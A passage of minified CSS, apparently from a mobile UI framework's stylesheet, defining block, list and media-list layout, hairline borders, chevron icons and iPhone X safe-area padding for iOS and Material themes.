.block-strong.inset{border-radius:4px}.md .block-footer,.md .block-header{padding:0 16px;color:rgba(0,0,0,.54)}.md .block .block-footer,.md .block .block-header{padding:0}.md .block-header{margin-top:32px}.md .block-header+.block,.md .block-header+.card,.md .block-header+.list,.md .block-header+.timeline{margin-top:10px}.md .block-footer{margin-bottom:32px}.md .block .block-header,.md .card .block-header,.md .list .block-header,.md .timeline .block-header{margin-top:0}.md .block .block-footer,.md .card .block-footer,.md .list .block-footer,.md .timeline .block-footer{margin-bottom:0}.md .block+.block-footer,.md .card+.block-footer,.md .list+.block-footer,.md .timeline+.block-footer{margin-top:-22px}.md .block+.block-footer{margin-top:-22px;margin-bottom:32px}@media (min-width:768px){.md .block.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .block-strong.tablet-inset{border-radius:4px}}.md .theme-dark .block-title{color:#fff}.md .theme-dark .block-footer,.md .theme-dark .block-header{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-footer,.md.device-iphone-x .ios-left-edge .block-header,.md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-footer,.md.device-iphone-x .panel-left .block-header,.md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-footer,.md.device-iphone-x .ios-right-edge .block-header,.md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-footer,.md.device-iphone-x .panel-right .block-header,.md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list{position:relative;z-index:1}.list ul{list-style:none;margin:0;padding:0;position:relative}.list ul ul:before{display:none!important}.list ul ul:after{display:none!important}.list li{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-media{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;padding-bottom:8px}.list .item-inner{position:relative;width:100%;padding-top:8px;padding-bottom:8px;min-width:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.list .item-title{min-width:0;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;max-width:100%}.list .item-after{white-space:nowrap;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-left:auto}.list .item-link,.list .list-button{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;z-index:0}.list .item-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.list .item-subtitle{position:relative;overflow:hidden;white-space:nowrap;max-width:100%;text-overflow:ellipsis}.list .item-text{position:relative;overflow:hidden;text-overflow:hidden;-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box}.list .item-title-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-title-row .item-after{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.list .item-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-cell{display:block;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.list li:last-child .list-button:after{display:none!important}.list li:last-child li:last-child>.item-content>.item-inner:after,.list li:last-child li:last-child>.item-inner:after,.list li:last-child li:last-child>.item-link>.item-content>.item-inner:after,.list li:last-child>.item-content>.item-inner:after,.list li:last-child>.item-inner:after,.list li:last-child>.item-link>.item-content>.item-inner:after{display:none!important}.ios .list.no-hairlines-ios ul:before,.ios .list.no-hairlines-ios:before,.list.no-hairlines ul:before,.list.no-hairlines:before,.md .list.no-hairlines-md ul:before,.md .list.no-hairlines-md:before{display:none!important}.ios .list.no-hairlines-ios ul:after,.ios .list.no-hairlines-ios:after,.list.no-hairlines ul:after,.list.no-hairlines:after,.md .list.no-hairlines-md ul:after,.md .list.no-hairlines-md:after{display:none!important}.ios .list.no-hairline-top-ios ul:before,.ios .list.no-hairline-top-ios:before,.list.no-hairline-top ul:before,.list.no-hairline-top:before,.md .list.no-hairline-top-md ul:before,.md .list.no-hairline-top-md:before{display:none!important}.ios .list.no-hairline-bottom-ios ul:after,.ios .list.no-hairline-bottom-ios:after,.list.no-hairline-bottom ul:after,.list.no-hairline-bottom:after,.md .list.no-hairline-bottom-md ul:after,.md .list.no-hairline-bottom-md:after{display:none!important}.ios .list.no-hairlines-between-ios .item-divider:after,.ios .list.no-hairlines-between-ios .item-inner:after,.ios .list.no-hairlines-between-ios .list-button:after,.ios .list.no-hairlines-between-ios .list-group-title:after,.list.no-hairlines-between .item-divider:after,.list.no-hairlines-between .item-inner:after,.list.no-hairlines-between .list-button:after,.list.no-hairlines-between .list-group-title:after,.md .list.no-hairlines-between-md .item-divider:after,.md .list.no-hairlines-between-md .item-inner:after,.md .list.no-hairlines-between-md .list-button:after,.md .list.no-hairlines-between-md .list-group-title:after{display:none!important}.ios .list.no-hairlines-between-ios.simple-list li:after,.list.no-hairlines-between.simple-list li:after,.md .list.no-hairlines-between-md.simple-list li:after{display:none!important}.ios .list.no-hairlines-between-ios.links-list a:after,.list.no-hairlines-between.links-list a:after,.md .list.no-hairlines-between-md.links-list a:after{display:none!important}.list.simple-list li{position:relative;white-space:nowrap;text-overflow:ellipsis;max-width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.list.simple-list li:last-child:after{display:none!important}.list.links-list a{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;text-overflow:ellipsis;max-width:100%}.list.links-list li:last-child a:after{display:none!important}.media-list .item-inner,li.media-item .item-inner{display:block;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background:0 0}.media-list .item-media,li.media-item .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.media-list .item-media img,li.media-item .item-media img{display:block}.links-list a,.list .item-link .item-inner,.media-list .chevron-center .item-link .item-inner,.media-list .item-link .item-title-row,.media-list .item-link.chevron-center .item-inner,.media-list.chevron-center .item-link .item-inner,li.media-item .chevron-center .item-link .item-inner,li.media-item .item-link .item-title-row,li.media-item .item-link.chevron-center .item-inner,li.media-item.chevron-center .item-link .item-inner{background-size:8px 13px;background-repeat:no-repeat;background-position:95% center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.item-link.no-chevron .item-inner,.links-list .no-chevron a,.links-list.no-chevron a,.media-list .chevron-center .item-title-row,.media-list.chevron-center .item-title-row,.media-list.no-chevron .item-link .item-title-row,.no-chevron .item-link .item-inner,.no-chevron .links-list a,.no-chevron .media-list .item-link .item-title-row,li.media-item .chevron-center .item-title-row,li.media-item .no-chevron .item-title-row,li.media-item.chevron-center .item-title-row,li.media-item.no-chevron .item-title-row{background-image:none!important}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background-image:none}.media-list .item-link .item-title-row,li.media-item .item-link .item-title-row{background-position:right center!important}.list-group ul:after,.list-group ul:before{z-index:25!important}.list-group+.list-group ul:before{display:none!important}.item-divider,li.item-divider,li.list-group-title{white-space:nowrap;position:relative;max-width:100%;text-overflow:ellipsis;overflow:hidden;z-index:15}li.list-group-title{position:relative;position:-webkit-sticky;position:sticky;top:0;margin-top:0;z-index:20}li.list-group-title:before{display:none!important}.list.inset .block-title{margin-left:0;margin-right:0}.list.inset ul:before{display:none!important}.list.inset ul:after{display:none!important}@media (min-width:768px){.list.tablet-inset .block-title{margin-left:0;margin-right:0}.list.tablet-inset ul:before{display:none!important}.list.tablet-inset ul:after{display:none!important}}.links-list.theme-dark a,.list.theme-dark .item-link .item-inner,.media-list.theme-dark .item-link .item-title-row,.theme-dark .links-list a,.theme-dark .list .item-link .item-inner,.theme-dark .media-list .item-link .item-title-row,.theme-dark li.media-item .item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.media-list.theme-dark .item-link .item-inner,.theme-dark .media-list .item-link .item-inner,.theme-dark li.media-item .item-link .item-inner{background-image:none}.ios .list{margin:35px 0;font-size:17px}.ios .list .item-cell{width:100%;min-width:0;margin-left:15px}.ios .list .item-cell:first-child{margin-left:0}.ios .list ul{background:#fff}.ios .list ul ul{padding-left:45px}.ios .list .item-media{padding-top:7px}.ios .list .item-media i+i,.ios .list .item-media i+img{margin-left:5px}.ios .list .item-media+.item-inner{margin-left:15px}.ios .list .item-inner{min-height:44px;padding-right:15px}.ios .list .item-after{color:#8e8e93;padding-left:5px}.ios .list .item-link,.ios .list .list-button{color:inherit}.ios .list .item-link .item-inner,.ios .list .list-button .item-inner{padding-right:35px}.ios .list .item-link.active-state,.ios .list .list-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .list .item-link.active-state .item-inner:after,.ios .list .list-button.active-state .item-inner:after{background-color:transparent}.ios .list .list-button{padding:0 15px;text-align:center;color:#007aff;line-height:44px}.ios .list .item-content{min-height:44px;padding-left:15px}.ios .list .item-subtitle{font-size:15px}.ios .list .item-text{font-size:15px;color:#8e8e93;line-height:21px;max-height:42px}.ios .list .item-footer,.ios .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.ios .list .item-footer{color:#8e8e93}.ios .list .item-link.no-chevron .item-inner,.ios .list .no-chevron .item-link .item-inner,.ios .list.no-chevron .item-link .item-inner,.ios .no-chevron .list .item-link .item-inner{padding-right:15px}.ios .simple-list li:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .simple-list li{padding-left:15px;padding-right:15px;line-height:44px;height:44px}.ios .simple-list li:after{width:auto;left:15px;right:0}.ios .links-list a:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .links-list a{height:44px;color:inherit}.ios .links-list a.active-state{-webkit-transition-duration:0s;transition-duration:0s;background-color:#d9d9d9}.ios .links-list a:after{width:auto}.ios .links-list a{padding-left:15px;padding-right:35px}.ios .links-list a:after{left:15px;right:0}.ios .links-list .no-chevron a,.ios .links-list a.no-chevron,.ios .links-list.no-chevron a,.ios .no-chevron .links-list a{padding-right:15px}.ios .media-list .item-title,.ios li.media-item .item-title{font-weight:600}.ios .media-list .item-inner,.ios li.media-item .item-inner{padding-top:10px;padding-bottom:9px}.ios .media-list .item-media,.ios li.media-item .item-media{padding-top:9px;padding-bottom:10px}.ios .media-list .item-link .item-inner,.ios li.media-item .item-link .item-inner{padding-right:15px}.ios .media-list .item-link .item-title-row,.ios li.media-item .item-link .item-title-row{padding-right:20px}.ios .media-list .chevron-center .item-link .item-inner,.ios .media-list .item-link.chevron-center .item-inner,.ios .media-list.chevron-center .item-link .item-inner,.ios li.media-item .chevron-center .item-link .item-inner,.ios li.media-item .item-link.chevron-center .item-inner,.ios li.media-item.chevron-center .item-link .item-inner{padding-right:35px}.ios .media-list .chevron-center .item-title-row,.ios .media-list .no-chevron .item-link .item-title-row,.ios .media-list.chevron-center .item-title-row,.ios .media-list.no-chevron .item-link .item-title-row,.ios .no-chevron .media-list .item-link .item-title-row,.ios .no-chevron li.media-item .item-link .item-title-row,.ios li.media-item .chevron-center .item-title-row,.ios li.media-item.chevron-center .item-title-row,.ios li.media-item.no-chevron .item-link .item-title-row{padding-right:0!important}.ios .links-list a,.ios .list .item-link .item-inner{background-position:calc(100% - 15px) center}.ios .item-divider,.ios .list-group-title{margin-top:-1px;padding:4px 15px;background:#f7f7f7;color:#8e8e93}.ios .item-divider:after,.ios .list-group-title:after{display:none!important}.ios .list-group-title{margin-top:0}.ios .item-divider:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .item-divider:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .item-divider:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list-group-title:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list-group-title:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list-group-title:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .list-button:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .list-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .list-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:before{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.ios.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list ul:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .list.inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.inset ul{border-radius:7px}.ios .list.inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.inset li:first-child:last-child>a{border-radius:7px}@media (min-width:768px){.ios .list.tablet-inset{margin-left:15px;margin-right:15px;border-radius:7px}.ios .list.tablet-inset ul{border-radius:7px}.ios .list.tablet-inset li:first-child>a{border-radius:7px 7px 0 0}.ios .list.tablet-inset li:last-child>a{border-radius:0 0 7px 7px}.ios .list.tablet-inset li:first-child:last-child>a{border-radius:7px}}.ios li li:last-child .item-inner:after,.ios li:last-child li .item-inner:after{content:'';position:absolute;background-color:#c8c7cc;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after,html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(15px + constant(safe-area-inset-left));padding-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(15px + constant(safe-area-inset-left));margin-left:calc(15px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) 